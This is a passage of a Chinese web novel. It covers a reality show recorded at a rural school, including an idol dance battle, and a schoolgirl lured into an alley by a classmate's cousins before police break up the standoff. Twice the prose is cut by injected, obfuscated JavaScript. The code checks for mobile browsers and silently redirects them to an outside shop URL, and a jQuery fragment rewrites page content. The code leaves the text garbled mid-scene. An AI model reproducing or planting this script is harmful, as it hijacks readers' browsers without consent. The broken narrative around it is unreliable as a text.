“这就是下一个突破之口，”周佑谷拿笔点着那个红圈，笑道，“所以明天，我要继续去学校录综艺。” 池和安接过那张写满线索的纸，看见周佑谷圈出的人名赫然就是——张静思。 *** 潘家。 今天是潘家老爷子潘立的生日。 潘立低调，再加上不是整寿，便不准潘跃大摆宴席，只儿女小辈都到场热闹一番足矣。 潘珍一早就和丈夫张世一起来潘家拜寿，帮忙准备酒菜。 潘立很高兴，还问道：“静静呢？” 潘珍解释道：“爸，静静白天还在学校，晚上过来。” 潘立疑惑：“不是放假吗？静静怎么还去上学，你又给孩子报辅导班了吧。别逼得那么紧，该放松还是要放松的嘛。” 潘珍：“爸，你误会了，静静学校最近在录制节目，我让她去凑个热闹，长长见识。” 潘立：“什么节目？” 潘珍便给潘立详细说道起来。 妻子在这边陪着老父亲说说话，张世便到书房找自己的大舅哥潘跃。 “小张，来了。”潘跃正在书房训两个儿子，见潘跃进来，打声招呼，但脸色仍然不是很好。 潘立只有一儿一女，就是潘跃和潘珍。 潘珍和张世结婚后，仍然和娘家人走得近，后来连房子也买在一处。 是以张世和潘家的人互相都很熟悉。 潘源和潘鸿见张世进来，都礼貌喊人：“姑父好。” 张世拍拍两人的肩，见两个外甥都垂眉耷眼地站着，笑着对潘跃道：“哥，今儿是老爷子的好日子，你就是看着老爷子的面子，也别一大早让这哥俩在这儿罚站呐。” 潘跃叹气，一面为张世沏茶，一面邀他在沙发上坐下：“小张，上次你也在，也知道他俩都做了什么好事。” 张世劝道：“两个孩子有什么不好的，耐心着教就是了。我看源源和鸿鸿都是爱学的好孩子，只要你肯教，他们什么事儿学不好呢。你又何必动气。” 潘跃：“潘源我倒放心，就是潘鸿这小子可恶，做事情顾头不顾尾，这么莽，怎么就不像我呢？” 张世端起茶杯，笑而不语。 见两兄弟还站在书桌前，一个比一个站得板正，潘跃恨铁不成钢道：“还站在这儿做什么，爷爷今天过寿，别拿你们这些事让大家烦心。趁白天赶紧去处理一下，晚上早点回来陪爷爷说话。” 潘源和潘鸿便都应声退下出书房，和众人打过招呼，借口说厂里有事，走出潘家。 在楼下，潘鸿愁眉苦脸：“大哥，你说现在怎么办？” 潘源推了下眼镜框，安抚道：“你也不用太忧心，我一早便派人去正宁中学门口蹲点，先堵到周佑雨，咱们再做打算。” 这时，潘源的电话铃声响起。 潘源拿出手机：“看，这不来消息了？” 见接听电话后，潘源的面色阴沉下来，潘鸿问道：“大哥，出什么事了？” 潘源皱眉：“今天派去学校蹲点的人没蹲到人。周佑雨今早应该没去学校。” 潘鸿疑惑：“那怎么不直接到她家楼下堵人？” “刚刚爸还在教育我们要低调低调，”潘源，“你之前在那附近闹的那一出，还嫌不够大吗？居民区人多口杂，还是避开点好，以免再生事端，叫人怀疑上我们。” 142. 江湖夜雨 周二下午第二节课。 因为飞行嘉宾高风来到支教团后也是负责舞蹈教学，所以节目组将学生分为两部分，在舞蹈课时间让容清洛和高风两个人分开教学。 好在正宁中学的体育馆有多个舞蹈教室，两人上课倒是互不影响。 容清洛就这样开始了她在支教团的第一节舞蹈课。 其实跳舞还是其次的，她的主要教学目的是带学生们练练身形、仪态，提高气质。 最后快下课时，还有一点时间，学生们起哄让容清洛来一段solo舞台。 容清洛本来想拒绝，怕耽误下节小白老师的相声课。 这时候导演组插话，邱导说道：“清洛，你完整唱跳一段，我们就给你500积分。” “邱导，你这目的性可有点强啊。”容清洛惊讶，“要知道，做一段20分钟内容不重复的采访，也才300积分呀。” 邱锐：“谁让你这几年都没有唱跳舞台，粉丝们都在翘首盼望，你就当给粉丝们一个福利。” 容清洛这几年都在忙着从流量转型成演员，一直在剧组连轴转，确实没有出新舞台。 想起前段时间她的小号爆出来时，很多洛河都在说期待新舞台，容清洛有点内疚。 好在她平常一直在坚持练习唱跳，毕竟她虽然在转型，但是从来没有忘记自己是爱豆出身，看家本领就是唱跳。 其实，她也想给粉丝带去质量更高的新舞台。 容清洛在手机上找出一首自己几年前出的歌曲，连上音响。 来录这个综艺前，容清洛还练过这段舞，再加上因为曾经跳过太多遍，肌肉记忆已经让她足以在任何时候都能很好地完成这个舞台。 当音乐在舞蹈室中响起时，学生们都沸腾起来。 工作人员也都很兴奋，完全是出于职业道德才没有拿出手机拍摄，好在摄像机都在认真工作。 容清洛可是顶流，她已经好几年没出过舞台。 即便这不是新舞台，也足以让粉丝激动。 邱锐已经可以想象将这一段穿插在综艺节目中播出时，播放量和讨论度该有多高。 他听着容清洛的歌声，摸着下巴道：“其实清洛唱歌也很有水平，她完全也可以带声乐这门课，这样岂不是更有看点。” 副导演在旁边听到邱锐的话，无情道：“容清洛之前可是在好几档音乐类真人秀节目里当过导师，让她专门唱歌是另外的价钱。而且欧声声老师咖位也不小，让容清洛去抢欧老师的地盘，欧老师要炸锅了。” “好吧，看来只能等找机会了。”邱锐无奈道，“但是白白放过这样的流量密码，实在是不甘心。” 副导演建议道：“咱们在节目最后不是设计的有学生汇演吗，到时候可以让嘉宾们也出节目，届时容清洛肯定也要表演，说不定她会唱歌。” “好主意，就这么办。”邱锐眼前一亮。 突然，他灵光一闪，对副导演说道：“现在去把隔壁教室的高风和学生们也喊过来，待会儿让两位舞蹈老师battle。” 副导演亲自去隔壁请人。 高风本来已经准备下课，听副导演说清洛学姐在隔壁跳舞，连忙带着学生们去看。 他本是来凑热闹，谁知邱导却让他待会儿等容清洛跳完之后上去和容清洛battle。 高风满脸为难：“这……不好吧？” 邱锐加码：“你只要肯去battle，我就给你500积分。” 高风握住邱锐的手：“邱导你一言九鼎，可不能反悔。” 邱导点头：“你要是赢了，我再给你加100积分。” 高风挣积分的热情被点燃。 所以当大部分人都沉浸在为容清洛唱跳欢呼的氛围中时，高风悄悄站在了台边。 *** 程景逸下午有点事情，刚刚回到学校，想起这个时间点学生们是在上舞蹈课，便往体育馆走去。 路上看见几个原本待在教学楼的节目组工作人员都在往舞蹈教室跑去，他还以为是学生出了什么事。 程景逸连忙跟在几人身后往舞蹈教室快步走去。 走到舞蹈教室所在的楼层，教室门是打开的，很多工作人员都聚在教室门口，里面似乎十分热闹。 待程景逸走近，站在后门处，听见有歌声娓娓传出，金声玉振，清新悦耳。 他向内望去，这才发现，是容清洛在表演节目。 看着大家兴奋的表情以及这火爆的场面，程景逸这才第一次如此直观地感受到顶流的魅力。 不过，她确实也不是浪得虚名。 容清洛唱完最后一句歌词，将动作定格，露出一个甜甜的微笑。 视线扫过鼓掌欢呼的人群，容清洛一眼在舞蹈教室的后门处看见程景逸的挺拔身影。 她没忍住朝着那个方向wink了一下，大家的欢呼声更高。 没想到程景逸却退出了教室。 容清洛感觉自己的专业能力被人蔑视了。 怎么回事，难道他被油腻到了？ 可是看到其他人开心的笑脸和现场欢乐的气氛，容清洛猜测，也许不是她的问题？ 啊！是可忍孰不可忍，容清洛想要找程景逸理论一番。 但是她还要留下来继续录制，只得眼睁睁地看着程景逸离开。 而当她准备宣布下课时，原本在隔壁上课的高风竟然从人群中走出，说要和她battle。 容清洛：“小风你别闹，待会儿小白还上相声课呢。” 高风走近，低声和容清洛求情：“学姐，咱俩battle一场，导演组给我500积分呢。” “亲学姐，帮帮学弟吧。”高风卖萌和容清洛撒娇。 容清洛挑眉：“稍等。” 她走到邱导面前，笑道：“邱导，高风battle一场有500积分，那我呢？” 邱锐没想到高风把自己卖了，面对容清洛的问题，他只得心一横，道：“你也500积分。” 然后他指着容清洛和高风两人道：“待会儿让大家投票，你俩谁赢了，谁额外再得200积分。” 高风听说赢了的人能够得到的积分又上涨了，跃跃欲试：“学姐，我可不会让着你哦。” 容清洛：“没事，赛场上不论亲疏。” 大家听说两位舞蹈老师要battle，瞬间沸腾。 工作人员问：“两位老师想要什么音乐？” 容清洛：“都可以，随便放。” 见学姐这么霸气，高风觉得输人不输阵，便也道：“我也是，随便放。” 音响开始播放，是一段律动感非常强的音乐。 高风做了个请的动作：“女士优先。” 容清洛跟随着音乐舞动起来。 现场的人七嘴八舌讨论起来。 “双厨欢喜，这是邹茂的歌，我超喜欢他，他还和容清洛一起上过一个音乐节目，两个人当时还合作过。” “容姐不愧是顶流，从选秀节目里厮杀出来的，果然什么风格下都能撑住场面。” “哇哦，这个动作好难，刚那一下好酷。” “容姐刚刚眼神都不一样了！攻击性好强！” “戳中了我的心巴。” 当一曲完毕，换了种风格的歌，容清洛做了个请的动作，高风上场。 “喔，没想到高老师平常看起来有点奶奶的，但是跳起舞来也这么不一样。” “而且他卡点好绝！” “长手长脚跳舞确实好看！我想爬墙了呜呜呜。” “而且他的表情好可爱，注入灵魂哈哈哈。” 两个人的舞蹈现场效果都很好，最终容清洛以微弱的几票之差赢得这场battle，收获700积分。 欢乐燃炸的舞蹈课结束，高风惜败，他笑嘻嘻道：“输给学姐不丢人，而且我还赚了500积分，这波不亏。” 邱锐凉凉道：“你知道清洛这节舞蹈课得了多少积分吗？” 高风：“700积分？多了200积分，是学姐赢得的，我一点都不嫉妒。” “不不不，她还有之前solo舞台的500积分。”看着高风惊讶地长大了的嘴巴，邱锐满意插刀，“也就是说，清洛现在可是积分大户，手握1200积分。” 高风捂着胸口：“现在我嫉妒了。这也太多了吧。” 邱锐循循善诱：“如果你也想赢得更多的积分，我现在交给你一项秘密任务，在接下来录制的这些天里，找机会让容清洛和欧声声老师比赛唱歌，只要能让容清洛完整展现一个歌唱舞台，就奖励你500积分。” 在导演积分糖衣炮弹的轰炸下，高风屈服了。 “成交！” *** 周二晚上放学后，张静思便连忙赶回家，放下书包，将节目组的校服换掉，跟专门回家等她的潘珍一起去潘家为外公潘立拜寿。 家宴上，大家说着吉祥话，其乐融融。 饭毕，大人们一起聊事情，几个小辈便围在客厅看电视。 张静思偷偷观察两位表哥。 虽然今天是外公生日，他们都露出满脸笑容，但她从小跟着两个表哥屁股后面长大，她太了解潘源和潘鸿两人了。 “你们都不高兴。”张静思得出结论。 她端起装西瓜的果盘递到两人面前：“吃点儿甜的？” 潘鸿拿起一片西瓜狠狠咬一口：“哪儿是我们不高兴，是我爸不高兴。” 张静思试探问道：“因为上周那件事情？” 潘鸿：“嗯。” “有什么需要我帮忙的吗？”张静思，“周佑雨毕竟是我们班同学，我可以帮你们把她约出来。” 潘鸿想说什么，潘源制止道：“静静，上次让你偷听到这件事儿已经是破例。要是让姑姑和姑父知道我们把你卷进来，他们会担心的。你专心读书学习，不要管这些事儿。” “知道了。”张静思低头，委屈道，“我只是不想你们这么愁眉苦脸的。” “别担心，这有什么，大不了到时候被我爹揍一顿。”潘鸿对着张静思做一个鬼脸，“来，哥哥逗你笑一个。” “不过，其实我也挺不喜欢周佑雨的，”张静思道。 潘鸿：“为什么？难道她还敢惹你？” “就她那样，她能惹谁？别人欺负她还差不多。”张静思摇头，“我就是觉得她很不合群，很孤僻。看起来很高傲，谁都不理，好像谁都不配做她的朋友一样。但她也没有多出众的能力呀，凭什么那么高冷，所以就很不喜欢她。” “果然有其父必有其女，周家这对父女，大的古板又讨人嫌，小的虽然长了副好相貌，但也这般不讨喜。”潘鸿翻了个白眼，“都是不识时务之人，有机会我帮你好好教训教训他们。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程景逸其实有些疲惫，他本想婉拒，但是看着容清洛亮晶晶的眼睛，脱口而出的竟成了“好”。 身体比话语更先一步做出选择，坐在容清洛旁边。 两人一时之间都没有说话。 虽然沉默，但是却并不尴尬，空气里弥散着一种静谧安宁的氛围。 容清洛弯起嘴角，指着天空，问坐在旁边的人：“是不是很好看？” 顺着容清洛的手，程景逸抬眼望向夜幕之下的苍穹。 浩瀚而神秘。 程景逸：“确实挺好看的。以前中学的时候学习《观沧海》，里面描绘的‘星汉灿烂’，大概就是这样吧。” 他靠在椅背上，感慨道：“可能你们搞文艺工作的人都有一双发现美的眼睛，我来青山镇五六年了，还没怎么看过天空。” 这是两个人重逢后，程景逸第一次在她面前提到过去。 那段分别之后，她未曾参与的时光。 容清洛：“你来青山镇这么久了，是一毕业就过来啦？” 程景逸：“对，读研后就来这里了。” 容清洛好奇道：“程景逸，我可以问你一个问题吗？” 程景逸的目光扫过容清洛的眼：“你说。” 容清洛：“你这么高学历，应该有很多好去处，为什么会选择来这么偏僻的地方教书？” 程景逸没想到会听到这样一个问题，他回答道：“算是实现年少梦想，圆一个梦吧。” 容清洛有些惊诧：“你一直梦想做老师？” 她怎么不知道？ 这明明是她曾经的梦想。 可惜她没有实现此梦的运气。 她的运气一向不太好。 需要不断地和命运进行殊死搏斗，才能一步步走到今天。 “也不算一直。”程景逸轻顿，“受一个朋友影响，才萌生了这个想法。” 容清洛：“这个朋友对你一定很重要。” “是。”程景逸抿唇，“确实很重要。” 两人之间又沉默下来。 “星星看过了，”程景逸拿出手机点开屏幕，“现在时候不早，我得回家去了。” 想起白天校门外的异常，他今天其实一直在调查这件事。 程景逸叮嘱道：“清洛你也早点回宿舍休息，姑娘家一个人还是要注意安全。” 说着他便站起身，准备离开。 “等一等。”容清洛脱口而出。 “怎么了？”程景逸回头。 容清洛从长椅上站起身，走近程景逸，问道：“你说实话……你觉得我的舞台不好看吗？” “没有，”程景逸，“挺好看的。” 容清洛：“那为什么下午我跳舞的时候你没看完就走了？” 程景逸讶异：“你看到我了？” 容清洛低头吐槽道：“你这么个大高个儿站在后门，那么显眼，我想看不到都难……” 见容清洛这样，程景逸认真解释道：“我当时接到一个电话，所以才没有看完。清洛，你站在舞台上时真得很闪耀。” 闪耀到让他生出一种两人并不属于同一个世界的感觉。 143. 江湖夜雨 周三。 《青衿与长衫》这档综艺录制第三天。 吃完早饭，周佑谷把碗清洗好后，整理书包，准备出门。 池和安挡在门口：“小谷，你一定要去吗？” “当然，你见我决定了的事情什么时候改变过。”周佑谷的眼里闪过坚定。 “你倒确实是这个性子。”池和安轻叹一口气，妥协道，“那我送你去学校。” 上午的综艺录制很快过去。 中午放学后，李茹梦凑到张静思面前：“静思，去吃饭吗？” 张静思不经意回头，瞥见最后一排角落里的周佑雨。 她抿唇轻笑：“茹梦你先去吧。我早上吃多了，不太饿。” 李茹梦：“不吃饭怎么能行呢？对身体不好。” 张静思：“没事儿，你去吧。” 李茹梦：“这样，那我回来的时候给你带盒牛奶。”说着，她拿好饭卡便走出教室，和其他同学一起走向食堂。 张静思借着收拾书包的动作不动声色地观察着周佑雨，她觉得周佑雨的气质和之前不太一样了。 如今教室里的人都走得七七八八，而周佑雨一人坐在位置上不动如钟。 虽然周佑雨和原来一样面无表情、生人勿进，但是之前的周佑雨并不让人害怕，甚至让人忍不住想要欺负与拿捏，可如今的周佑雨光是坐在那里，就让人心生忐忑，不敢造次。 这便是阎王殿里走一遭带来的变化吗？ 张静思心里猜测不断，面上带着微笑。 她走到周佑雨面前，道：“佑雨，你不去吃饭吗？” 周佑谷一直在座位上磨蹭着不走，就是在想应该如何套张静思的话，既要得到信息，又不能露出任何马脚。 哪里料到张静思竟然主动来同她搭话。 看来她这个鱼饵当得十分成功。 如今这鱼儿不就主动来咬钩了吗？ “准备去了。”周佑谷站起身，拿上书包，不动声色道，“你呢？” 张静思：“听说小吃街新开了一家黄焖鸡米饭，我想去尝尝，你要一起吗？” 周佑谷：“好。” “没事儿，你不想去就算了……”其实张静思本来也不抱太大希望，只是想着试一试，除了被拒绝会有点丢面子，其他并没有什么损失。 可没想到周佑雨竟然答应了，张静思反应过来，惊讶道：“啊？你说什么？” 周佑谷已经往教室门口行走几步，听到张静思声音。 她回头，见张静思还站在自己座位前，问道：“不是要吃饭吗，怎么还不走？” “哦，好的。”张静思连忙去座位上拿钱包。 平日里确实有很多人因着她爸爸和舅舅的原因巴结她，她的话向来在人群中也是说一不二的。 但这些人里面，从来都不包括周佑雨呀…… 周佑雨不仅娇娇弱弱，更是冰冰冷冷。 所以她心里才很讨厌周佑雨。 今天，周佑雨转性了？ 张静思顿时兴奋起来，她连忙给潘源和潘鸿报信。 虽然他们不让她掺和进来，但是她是个大活人，他们怎么管得住她呢？ 信息发过去，就看他们来不来了。 张静思追上走在前面的周佑谷。 对互相都不太了解，两人之间其实没什么话题可聊。 平素里，只有长辈们在的时候，张静思才会成为活跃气氛的那一个。 如今，实在不指望周佑雨那个冰块脸说出什么话。 心里有所盘算的张静思主动担当起挑起话题的那一个。 她道：“今天天气真是不错。” 两人正在过马路。 周佑谷一边观察左右的车辆情况，一边快步往对面走去。 她已经察觉到，从走出校门时，就有人盯上了她和张静思。 只是不知道究竟是盯着她们二人中的谁。 听到张静思的话，周佑谷意有所指：“确实挺不错。” 适合搞事情。 周佑谷跟随张静思走进小吃街。 正午的阳光灼烧着街上的青石板路，二人在一家餐馆门口停下。 “黄焖鸡米饭，正宁中学店。”周佑谷念出店名。 这是一家正规的餐馆。 还好不是把她骗过来毒打一顿。 “就是这里，我们进去吧。”张静思指着里面道。 二人各自点好一份，随意找个桌子坐下来。 “佑雨，你最近不舒服吗？我看你这几天脸色好像不太好？”不知道周佑雨目前的身体到底是什么状况，张静思试探问道。 “你很关注我？”周佑谷抬眼，看向坐在她对面的张静思。 “啊……”张静思震惊。 原来周佑雨平常一直冷着脸不说话是因为不会说话也不会听话吗？ 她是这个意思吗？ 张静思轻咳道：“对呀，我们是同学嘛。关爱同学不是很正常。” “你说的对，所以我也很关注你。”周佑谷轻笑。 听到这话，张静思的心砰砰直跳。 周佑雨难道看到她刚刚偷偷给表哥们发信息了？ 她不会知道什么了吧。 “你表哥长得还挺帅。”周佑谷突然道。 张静思疑惑：“我表哥？你说的是哪个表哥？” 周佑谷挑眉：“姓潘的表哥，你有几个？” “姓潘，那就是我大表哥和二表哥，他们长相确实都不俗……”张静思，“不过，你是怎么知道我表哥的？” 周佑谷随口胡诌道：“之前偶然间在街上远远地瞧见你们走在一起，你还喊对方表哥，所以知道的。” 张静思：“是吗？” 周佑谷耸耸肩，没有说话。 “两位，你们的黄焖鸡米饭。”服务员恰好这时端着托盘走来，将二人间的诡异气氛打破。 有了刚才的对话，张静思不想再主动开口，便默默地吃着饭。 只是她的目光时不时掠过墙上的挂钟。 很快两人都吃好。 周佑谷见张静思渐渐坐立不安，她开口：“吃好了？” 张静思：“嗯。” 周佑谷站起身：“那我们走吧。” 张静思不愿将今天这个机会白白浪费掉，毕竟她好不容易才将周佑雨单独拐出来。 两人一起走出餐馆，沿着石板路向小吃街的巷子口走去。 张静思在一家奶茶店门口停住脚步：“佑雨，一直以为你是冷心冷情的人，没想到面冷心热，还一直关注着我……我请你喝奶茶吧。” 说罢便点了两杯奶茶，等在窗口前。 趁着周佑雨在店外站着的空隙，张静思连忙给潘源和潘鸿发消息。 「正宁中学对面小吃街，奶茶店。你们怎么还不来，快拖不住周佑雨了。」 周佑谷意识到张静思在拖延时间，心里不禁犹疑。 这个张静思，究竟想干什么？ 张静思很快收到回复。 「放心，我手下一直盯着你们。只是小吃街人多口杂，不好下手。你把周佑雨引到小吃街旁边的巷子里，之后会有人接应。」 张静思从店员手里接过两杯奶茶，走出奶茶店：“现在还早，实在不想回教室，我们四处转转？” 说着她把奶茶递给周佑雨。 周佑谷没接：“谢谢，我戒糖。” 不喝有敌意的人递过来的任何饮料。 无论这敌意外表包裹着多么美丽的糖衣炮弹。 “这样啊。”张静思引导着周佑雨往小吃街旁的小巷里走去，“这边好晒，那条路上好多绿树浓荫，我们散散步消消食？” 周佑谷突然勾起唇角，脸上露出一抹张静思看不懂的微笑。 在这样的目光下，张静思拎着奶茶袋子的手不由得攥紧，掌心渗出一些汗意。 周佑谷：“好啊，我也有点等不及……走到阴凉处了呢。” 张静思引着周佑谷往小巷里走。 小巷两边种着两排树，枝繁叶茂，苍翠欲滴。 浓荫搭建起一道天然的凉棚。 午后正是静谧之时。 和临街的热闹人烟相比，这条街巷明显清冷许多，没什么人。 周佑谷想起池和安昨天说在这里租了个空仓库，唇边的笑意更深。 张静思，你和潘家兄弟若是想在这里动手，那可真是打错了算盘。 张静思观察着四周。 表哥所说的接应她的人呢？ 周佑谷见张静思一直东张西望，便停下脚步。 张静思发觉身后一直跟着的脚步声不见了，她回头，见周佑雨停在不远处，疑惑道：“佑雨，你走不动了吗？” 周佑谷不想再虚与委蛇，她径直开口道：“你在找谁？” 张静思突然有些磕巴：“没……没在找谁呀。” 周佑谷轻抬下巴，示意张静思回头：“是他们吗？” 张静思看向身后。 有五六个人不知道从哪里冒出来，一个个手里都拿着棍子，像是一群混混。 这群人走到张静思面前，异口同声道：“小姐好。” 怔愣间，张静思看见这几人向两边散开，露出了站在他们后面的潘鸿和潘源。 张静思：“大表哥，二表哥。” 潘鸿拍拍张静思的肩，安抚道：“静静你躲到一边去，免得误伤。” 潘源指着旁边一个寸头男：“看顾着点妹妹。” 然后便和潘鸿一起带着其他人向周佑雨围去。 面对这样的架势，周佑谷倒是一点也不怕。 只不过，她在心里暗暗将张静思也记在小本子上。 张静思不仅对潘鸿做的事情心知肚明，今天还专门帮潘鸿他们将她引到这里。 种种行为，无一不在说明，张静思并不无辜。 潘鸿一如既往的嚣张：“周佑雨，看你今天还往哪里跑。” 周佑谷冷笑一声。 她举起双手，轻轻拍了三下，对着四周道：“还不出来吗？” 潘鸿潘源等人都是一顿。 潘鸿皱眉：“你在跟谁说话？” 旁边一个仓库的门打开，从里面鱼贯而出七八个人。 池和安一马当先走在最前面。 他快步挡在周佑谷身前，对潘鸿道：“当然是跟我说话。” 跟着池和安一道而来的几人护在他们身边，和潘鸿等人形成对峙之势。 两边都是七八个人，人数相当。 并且瞧着都是人高马大、勇武矫健。 一时之间，气氛有些微妙。 “还知道找帮手，有点意外。”潘鸿饶有兴趣地瞥了周佑雨一眼，他摸着下巴道，“不过也有点意思。” 潘源早在池和安率领众人从仓库门走出时就一直在观察他。 此人面目轮廓分明，丰神俊朗，瞧着不过二十岁左右的年纪，但那威风凛凛的模样，不像是毫无来头之人。 潘鸿将池和安上下打量一番，问道：“兄弟，怎么称呼？” 池和安：“你喊我安哥就行。” “想当我哥，你还差点儿意思。”潘鸿吐出嘴里的口香糖，漫不经心地问道，“在哪儿混的？” 池和安：“市里。” 潘鸿眼珠轻转，心里寻思一圈，问道：“孟哥手底下的？” 池和安：“你认识孟哥？” 潘源接过话茬：“这位安哥，既然大家伙都认识，可千万别出现大水冲了龙王庙、一家人不认识一家人的尴尬场面。这小姑娘跟我们有点事没有解决，你把她交给我们。” “收钱办事，天经地义。”池和安仍将周佑谷护在身后，没有动。 潘鸿骂道：“你接这小姑娘的单时，就没有查过我们是谁？你去打听打听，青山镇有谁敢触潘家的霉头？接单挣钱也要长长眼，哪些钱能挣，哪些钱挣不得，心里没谱吗？干我们这行的，心里没点数儿，哪天在路上被人打了怕都还不知道仇家是谁。” 这紧张的形势一触即发，两方即将打起来。 “都别动！警察！”巷口传来严厉的声音，“所有人举起手来。” 一群警察冲过来，迅速控制住众人。 张静思见到跟着警察一同而来的一个高挑身影，心里顿时有些紧张。 程校长！ 程校长怎么会和警察一起出现？ 潘鸿见这个架势不对，连忙和潘源说：“哥，快传消息给爸。” 众人被警车拉到青山镇派出所，做笔录，问情况。 派出所走廊上，程景逸对两位警官说道：“申警官，阎警官，这次多亏你们了，我才能找出在学校附近闹事的人，及时地阻止这场冲突。不然一旦他们真的动起手来，后果不堪设想。谢谢你们。” 申承和阎滨都曾经是程景逸的学生。 那会儿程景逸刚到正宁中学教书，学校师资紧张，程景逸不仅教高一，还代的有高二和高三的课。 申承和阎滨是他带的第一届高三学生。 光阴似箭，这六年过去，申承和阎滨已经成为青山镇的警察。 瞧着曾经的学生如今成为社会中的人才，程景逸心里感慨万千。 他想，这便是老师这份职业的意义吧。 申承：“程老师，您言重了。这本来就是我们的职责所在。” 阎滨：“是呀，从昨天您联系我们到现在，我们查了这么久，总算努力没有白费。” 申承：“根据笔录，涉事人员中，两名女生是正宁中学高一升高二的学生。剩下的那两伙人，一伙是飞鸿钢铁厂的员工，一伙不是本地人，是省城云市人。” 程景逸：“发生冲突的原因问清楚了吗？” 阎滨：“两边录的笔录有出入。那伙外地人说是妹妹周佑雨前天晚上回家时在路上遇见混混追逐，因此这几天他们都在保护妹妹，今天就是要教训一下前天的混混。飞鸿钢铁厂那几人也说是保护妹妹张静思，并不承认他们是混混。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586985|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“都是保护妹妹？”程景逸皱眉，反问道，“这话你们信吗？” 申承看了看四周，见无人注意这里，他用手捂着嘴低声道：“程老师，我们队长说，今天双方并无伤亡，既然是误会，就各自进行一下教育就可以放了。” *** 程景逸回到学校。 他坐在办公室里，想起飞鸿钢铁厂那些人趾高气昂的模样，俊美的眉头紧紧皱起。 这件事里面涉及到正宁中学的两个学生。 周佑雨这个学生，他并不了解。 而张静思…… 他知道张静思是张校的女儿，并且张校的妻子姓潘。 今天飞鸿钢铁厂那几个年轻小伙子中，为首的两个喊张静思“妹妹”，其他几个跟班喊张静思“小姐”。 程景逸陷入沉思。 看来往日里同事们传的八卦也并不都是空穴来风。 张校和这潘跃还真是亲戚关系。 而这潘家的势力也确实是不容小觑。 只是这件事情尚未解决，安全隐患就仍然存在。 万一下次在他不知道的地方两伙人又对峙上，届时如果有人受伤，终究不美。 可明显现在因为牵扯到潘家，最终结果就是雷声大雨点小。 如今应该怎么办呢？ 这时，走廊上传来说话声，将程景逸的思绪打断。 没过多久，隔壁办公室响起开门关门的声音。 是宋民副校长。 宋校在这次录制综艺期间专门负责学生管理工作，所以虽然是暑假，他也每天要来上班。 而宋校平日里所分管的，正是教导处。 程景逸眸光微亮。 这位宋校一向是专心管理学生工作，不参与任何勾心斗角。 每天就喝喝茶，看看书，到点就下班。 本职以外的事情，他一句也不多嘴。 看似十分圆滑，但程景逸知道，这位宋校骨子里最是刚正不阿。 两人私交其实还算不错。 也许自己可以问问他。 想到这一点，程景逸连忙从椅子里站起身，快步走出办公室，轻敲隔壁的门。 “请进。”门内传来宋民的声音。 见程景逸进来，宋民笑道：“景逸，是你啊，有什么事吗？” 程景逸把这两天学校外有人蹲点，以及今天中午校外有学生参与打架斗殴未遂的事都一并告诉宋民。 “竟然有这种事情，”宋民神情严肃道，“学校安全工作也很重要，这次多亏景逸你警惕性高啊。” “其中涉及到我们学校的两个同学，所以我想调这两个学生的档案看一看。”程景逸说明来意。 宋民十分配合：“景逸你说名字，我亲自给你调。” 程景逸：“周佑雨，张静思。” *** 第三天的综艺录制结束，不论是支教团的嘉宾老师还是学生们，对于整个录制流程都已经颇为熟悉。 顺利结束一天的工作，打工人吴焕晗和另一位高级打工仔容清洛相约一起吃晚饭。 同为打工人的容清洛欣然前往。 “洛洛，前天晚上你不是说想去小吃街尝尝吗，今天咱们就去？”走出校门，吴焕晗指着马路对面建议道。 容清洛：“好哇，你有推荐的店吗？” 吴焕晗眨眨眼：“那你就跟着我走，保管让你吃好喝好。” 两人走进一家火锅店，进门时听见门口有人在闲聊。 “今天中午那会儿阵仗可真大。” “怎么了，怎么了？” “突然来了好几辆警车，在隔壁巷子里抓了好些人走。好像带走的人里面还有正宁中学的学生。” 吴焕晗待容清洛在角落里坐定，她招手唤服务员送来菜单，然后将菜单摆在容清洛面前：“看看，想吃什么？” 容清洛带着口罩，背对着大门的方向。 两人很快点好锅底和配菜。 等待的过程中，吴焕晗问道：“洛洛，听到刚刚门外那两个阿姨说的话了吗？” 容清洛：“嗯，警察来抓人，这么大阵仗，可惜没见到。” 吴焕晗低声道：“你有没有发现，今天下午录综艺的时候少了两个学生？” 容清洛回忆着下午的人数：“好像人是少了。” 见焕焕这么一副神秘兮兮的模样，她奇道：“难道这两个学生就在被抓走的那群人当中？” “然也。”吴焕晗点头，“下午程校长给我打电话，说周佑雨和张静思需要请假。我顺口问了句为什么，程校长说因为她们在警局有事情需要处理。” “周佑雨？”容清洛惊讶道，“这不是我们前天晚上从混混手底下救了的那个女孩儿吗？” “对。”吴焕晗说出自己的猜测，“所以我怀疑今天的事和前两天碰见的那伙混混也有关系。很有可能今天周佑雨又受到那群人威胁，然后有人报警，于是当时在场的人都被带走了。” “是程景逸给你打的这个电话，说明这件事情就是他处理的，他肯定知道实情。”容清洛沉吟片刻，说道，“既然周佑雨那个小姑娘又落入到这种危险的境地，那么我们把事情告诉程景逸，就不算是违背对她的承诺了吧。而且程景逸如今本身应该就是知情人。” “我也正有此意，”吴焕晗表示赞成，“就算不和其他老师说，待会儿吃完饭咱们也应该给程校长打个电话汇报一下这件事情。” “为什么不现在直接把他喊过来吃饭，边吃边聊不好吗？”容清洛疑惑。 不过还没等吴焕晗回答，容清洛自己先否定掉这个提议：“还是算了，饭店里人多口杂，小孩儿们的隐私万一被人听见，就是我们的罪过了。就等吃完饭再打电话吧。” 恰好这时店员来上菜，两人便结束这个话题，开始干饭。 *** 程景逸回家后照例到归客吃晚饭。 吕奶奶为程景逸打包好饭菜后，却站在程景逸桌前没走。 